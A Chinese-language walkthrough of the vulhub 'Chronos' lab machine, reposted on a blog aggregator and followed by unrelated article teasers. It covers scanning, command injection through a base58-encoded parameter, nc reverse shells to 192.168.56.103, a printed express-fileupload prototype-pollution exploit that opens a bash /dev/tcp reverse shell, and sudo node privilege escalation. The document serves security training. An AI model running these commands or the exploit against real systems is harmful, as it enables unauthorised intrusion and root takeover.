【打靶】vulhub打靶复现系列3---Chronos

news2024/12/25 23:50:55

【打靶】vulhub打靶复现系列3---Chronos

一、主机探测

结合之前的方法(arp探测、ping检测),因为我们的靶机和攻击机都在第二层,所以打靶时候我们更依赖arp协议

tips:我在运行期间发现,netdiscover窗口没关闭的前提下是可以一直检测的,也就是说在探活期间有新主机加入可以被立即识别到。​

二、端口扫描

nmap -p- -sV -T4 192.168.56.104

ssh可以爆破(hydra)

http直接去访问(先看下80端口下的页面)

三、撕口子--功能点测试

发现页面没有什么东西,两种思路:

  • 1、爬站
  • 2、查看源码查询调用隐藏接口和调用脚本等

发现其源码中有调用一个脚本

发现进行了编码

通过cyberchef美化一下,地址​​CyberChef (gchq.github.io)​​

发现有内容进行过加密,虽说cyberchef可以解,但比这个更有意义的是其调用的脚本(未进行编码加密等)

四、尝试利用——查看源码

去改host文件,将192.168.56.104定向到chronos.local

注:chronos恰好是本靶场的主机名,host文件win的在C盘C:\Windows\System32\drivers\etc\hosts,kali在/etc/hosts

ping一下

配置成功

再次访问网页

发现多出下面这行uts时间

抓包观察发现是下面这个数据包的响应包

当我修改了format后的内容后无法正常回显,因此我需要知道后面的内容是什么编码(经验判断是base64,但不重要)

直接去cyberchef里的magic模块去撞就行

可以猜测出是base58编码

而此时观察请求包会发现很像是linux的data命令

'+Today is %A, %B %d, %Y %H:%M:%S.'

六、验证猜想——配合终端进行验证

尝试在kali上验证猜想

确认了猜想和其运行是一致的

这里是调用了系统指令进行回显的.

因此!!!思路就有了:是否可以去尝试其他的指令来对系统进行攻击呢?

那我执行指令的前提就是原有的指令正常执行的情况下附带或追加个指令进去

方法有

;
|
||
&&
这里需要说明双管道符的运行原则是前面的指令错误时候运行后面的指令;双&&符号恰好相反(前面为真才能执行下一个指令)

因此可以尝试在前面输入准确的情况下执行后面的指令,即用&&尝试,需要注意的是需要进行base58编码才行

成功验证了猜想

七、进一步利用--尝试nc反弹

先去查找有无nc

存在nc,下一步反弹shell

返回包看着貌似不成功但攻击机却接受到了反弹过来的监听

八、nc利用——判断有无-e参数

直接指令判断可以执行就说明有-e参数

在nc命令中,-e参数用于指定要在连接建立后执行的命令。它允许用户在建立网络连接后,将输入和输出重定向到指定的命令,从而实现远程执行命令的功能。

使用-e参数的语法如下:

nc -e  

其中,​​<command>​​是要执行的命令,​​<host>​​是目标主机的IP地址或域名,​​<port>​​是目标主机的端口号。

使用-e参数时,nc命令会在连接建立后立即执行指定的命令,并将连接的输入和输出重定向到该命令。这使得用户可以在远程主机上执行命令,并与其交互,就像在本地终端上一样。

输入指令

nc 192.168.56.103 4444 -e /bin/bash

对其进行编码并执行(注意,这里在kali机上需要重新启动监听)

发现没有回连,采用之前的nc串联来代替-e参数反弹shell

九、精化&骚操作——nc串联获取shell

nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555

这里注意:尽量前后都加个空格吧

十、主机信息收集

发现user.txt这个文件需要提权

十一、(常规)提权

# linux提权方法
## 方法一、利用内核漏洞:先name -a查看内核版本,再去查询该版本漏洞进行攻击
## 方法二、suid权限配置错误导致提权,suid命令查看超管用户
## 方法三、利用sudo命令,有些用户可以使用sudo命令进而达到提权的目的


但很不幸,这些提权手段都不适用

十二、代码审计

跳到目录下

发现是js写的服务端,这种情况少见(据说少见)

nodejs是基于JavaScript的已有的框架和库,通过了解socket、express等库经常用来开发web

开始审计package.json

发现各个封装好的包/库

审计app.js

这是重定向的url等

base58解码,拼接到cmd的代码

判断agent的字段内容

在agent是chronos时候是正常回显,其他情况返回禁止,有了这段内容的解读之后去尝试一波

成功验证代审的分析结果

其中当agent==chronos时候进一步的判断(下一个if语句)表示

也对应上了之前nc返连的时候的返回包内容,注意这里只是返回这么个内容但却没有阻断这些指令

翻阅过后没有什么显著的利用点,继续深挖

十三、代码审计深挖——找利用点撕口子

发现了未扫出来的8080端口,但这个端口只对8080开放,因此我nmap没扫出来

看来只能指望调用的模块内(express和express-fileupload)存在漏洞了

发现存在漏洞,赶紧索一眼,但这里没给到源码和poc之类的信息,通过科学上网访问到

​​Access denied | www.bleepingcomputer.com used Cloudflare to restrict access​​

通过下面的参考链接来到:​​p6.is(现在让网页篡改了)​​

意思是想要利用这个漏洞就必须开启processNested的方法,好在我们的环境中恰好是开着的

通过上面的文章找到可利用的简化exp

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
 
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://p6.is:7777')

只需要将这段代码中的部分进行替换,替换规则如下如下

p6.is/8888 替换为 kali攻击机的ip/监听端口 
p6.is:7777 替换为 目标ip:目标web应用程序运行端口

 将这段代码复制到kali中,替换内容后编写为py文件,修改后的内容如下;

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/8888 0>&1"'
 
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
 
# execute command
requests.get('http://127.0.0.1:8080')

写好文件之后kali攻击机开启web服务

python3 -m http.server 80 

通过反弹shell将目录移动到/tmp下(因为一般来讲tmp好写入文件)

成功上传exp.py

下一步运行就行

十四、getshell——获取第一个flag

但是获取的仅仅是上面的imara的shell

去看下那个txt能不能看

成功!获取到一个flag了

十五、乘胜追击——获取root用户下的flag

根据靶机描述,root下是有一个flag的,但是我们现在已有的权限不足以去访问

十六、提权——利用sudo下可调用的node

还是之前说的三种方法先试一下,发现可以sudo

意思是不需要输入密码的前提下执行npm和node指令

sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

这段代码是通过node指令提权的代码(网上找的)

意思是通过调用node--》生成子进程---》调用root权限的shell

提权成功

 打靶总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1138428.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vue中如何给后端过来的数组中每一个对象加一个新的属性和新的对象(不影响后端的原始数据)

方法&#xff1a; 先看后端的原数据 1、给数组中每一个对象加一个新的属性&#xff1a; 输出查看数组list的值&#xff1a; 2、给数组list加入新的对象&#xff1a; 输出结果&#xff1a; 3、总结&#xff1a; 如果是数组中每个对象新增属性就用map遍历每个对象加入新增的属性…

Baichuan2:Open large-scale language models

1.introduction baichuan2基于2.6万亿个token进行训练。 2.pre-training 2.1 pre-training data 数据处理&#xff1a;关注数据频率和质量。数据频率依赖于聚类和去重&#xff0c;构建了一个支持LSH型特征和稠密embedding特征的大规模去重和聚类系统&#xff0c;单个文档、段…

Java基于ssm+vue开发的失物招领小程序

演示视频&#xff1a; 小程序 https://www.bilibili.com/video/BV1sg4y1d75T/?share_sourcecopy_web&vd_source11344bb73ef9b33550b8202d07ae139b 管理员 https://www.bilibili.com/video/BV1UH4y167xe/?share_sourcecopy_web&vd_source11344bb73ef9b33550b8202d07a…

论文阅读 - Hidden messages: mapping nations’ media campaigns

论文链接&#xff1a; https://link.springer.com/content/pdf/10.1007/s10588-023-09382-7.pdf 目录 1 Introduction 2 The influence model 2.1 The influence‑model library 3 Data 4 Methodology 4.1 Constructing observations 4.2 Learning the state‑transiti…

编写虚拟UART驱动程序-框架

一、框架回顾 二、编写UART驱动要做的事 1.注册一个uart_driver 2. 对于每一个port&#xff0c;都会在设备树里面有一个节点 3. 设备树里的节点和platform_driver节点匹配 4. 当platform_dirver的probe函数被调用时&#xff0c;可以获得设备树里的信息&#xff0c;从而把每个串…

AutoConfigurationPackages.Registrar.class源码阅读

类作用 &#xff5b;link ImportBeanDefinitionRegistrar&#xff5d;存储来自导入的基本包配置。 registerBeanDefinitions 作用&#xff1a; 根据导入的有Configuration注解的类给定的注释元数据注册bean定义。由于与&#xff5b;codeConfiguration&#xff5d;相关的生命周…

HarmonyOS开发:NodeJs脚本实现组件化动态切换

前言 上篇文章&#xff0c;我们使用NodeJs脚本完成了HarmonyOS项目的组件化运行&#xff0c;但是由于脚本是基于4.0.0.400版本的DevEco Studio开发的&#xff0c;可能在配置文件的修改上有些许差距&#xff0c;那么遇到这种情况怎么办&#xff0c;一种是再写一套针对性的脚本文…

谁能想到,字节2023校招起薪40w+

大家好&#xff0c;我是老原。 转眼2023也来到了年底&#xff0c;每年的校招季&#xff0c;都是大厂上演抢人大战的时机&#xff0c;公布薪资和“开奖”一样刺激。 就拿互联网新贵—字节跳动来说&#xff0c;按照字节15薪计算白菜第一年的总包都超过40W了&#xff0c;对比去年…

【Linux】VM及WindowsServer安装

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《微信小程序开发实战》。&#x1f3af;&#x1f3a…

电脑怎么共享屏幕?电脑屏幕共享软件分享!

如何控制某人的电脑屏幕&#xff1f; 有时我们可能需要远程控制某人的计算机屏幕&#xff0c;例如&#xff0c;为我们的客户提供远程支持&#xff0c;远程帮助朋友或家人解决计算机问题&#xff0c;或在家中与同事完成团队合作。那么&#xff0c;电脑怎么共享屏幕&#xff…

皮卡丘RCE靶场通关攻略

皮卡丘RCE靶场通关攻略 文章目录 皮卡丘RCE靶场通关攻略RCE(remote command/code execute)概述远程系统命令执行启动环境漏洞练习第一关exec "ping"第二关 exec "eval" RCE(remote command/code execute)概述 RCE漏洞&#xff0c;可以让攻击者直接向后台服…

java--do-while循环

1.do-while循环 2.do-while循环的特点 先执行后判断 3.三种循环的区别小结 1.for循环和while循环(先判断后执行)&#xff1b;do...while(先执行后判断) 2.for循环和while循环的执行流程是一模一样的&#xff0c;功能上无区别&#xff0c;for能做到的while也能做&#xff0c…

0基础学习PyFlink——用户自定义函数之UDAF

大纲 UDAF入参并非表中一行&#xff08;Row&#xff09;的集合计算每个人考了几门课计算每门课有几个人考试计算每个人的平均分计算每课的平均分计算每个人的最高分和最低分 入参是表中一行&#xff08;Row&#xff09;的集合计算每个人的最高分、最低分以及所属的课程计算每课…

rust学习

rust学习 String类型clone和copy结构体的内存分布for循环&#xff08;<font color red>important&#xff01;&#xff09;堆和栈数据结构vector panic模式匹配忽略模式的值绑定 方法和关联函数线程学习1.多线程的风险2.使用spawn创建线程等待子线程结束move 关键字强制…

主流大语言模型的技术细节

主流大语言模型的技术原理细节从预训练到微调https://mp.weixin.qq.com/s/P1enjLqH-UWNy7uaIviWRA 比较 LLaMA、ChatGLM、Falcon 等大语言模型的细节&#xff1a;tokenizer、位置编码、Layer Normalization、激活函数等。2. 大语言模型的分布式训练技术&#xff1a;数据并行、…

[论文阅读]MVF——基于 LiDAR 点云的 3D 目标检测的端到端多视图融合

MVF End-to-End Multi-View Fusion for 3D Object Detection in LiDAR Point Clouds 论文网址&#xff1a;MVF 论文代码&#xff1a; 简读论文 这篇论文提出了一个端到端的多视角融合(Multi-View Fusion, MVF)算法,用于在激光雷达点云中进行3D目标检测。论文的主要贡献有两个…

Flutter报错RenderBox was not laid out: RenderRepaintBoundary的解决方法

文章目录 报错问题分析问题原因 解决办法RenderBox was not laid out错误的常见原因常见原因解决方法 RenderRepaintBoundaryRenderRepaintBoundary用途 报错 RenderBox was not laid out: RenderRepaintBoundary#d4abf relayoutBoundaryup1 NEEDS-PAINT NEEDS-COMPOSITING-BI…

华为终端智能家居应用方案

PLC-IoT概述 华为智能PLC-IoT工业物联网系列通信模块是基于电力线宽带载波技术的产品&#xff0c;实现数据在电力线上双向、高速、稳定的传输&#xff0c;广泛适用于电力、交通、工业制造、智能家居等领域&#xff0c;PLC-IoT通信模块包含头端和尾端两种类型&#xff0c;头端配…

N-129基于springboot,vue学生宿舍管理系统

开发工具&#xff1a;IDEA 服务器&#xff1a;Tomcat9.0&#xff0c; jdk1.8 项目构建&#xff1a;maven 数据库&#xff1a;mysql5.7 系统分前后台&#xff0c;项目采用前后端分离 前端技术&#xff1a;vuevue-element-admin 服务端技术&#xff1a;springboot,mybatis…

基于 nodejs+vue旅游推荐系统 mysql

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性&#xff1a;…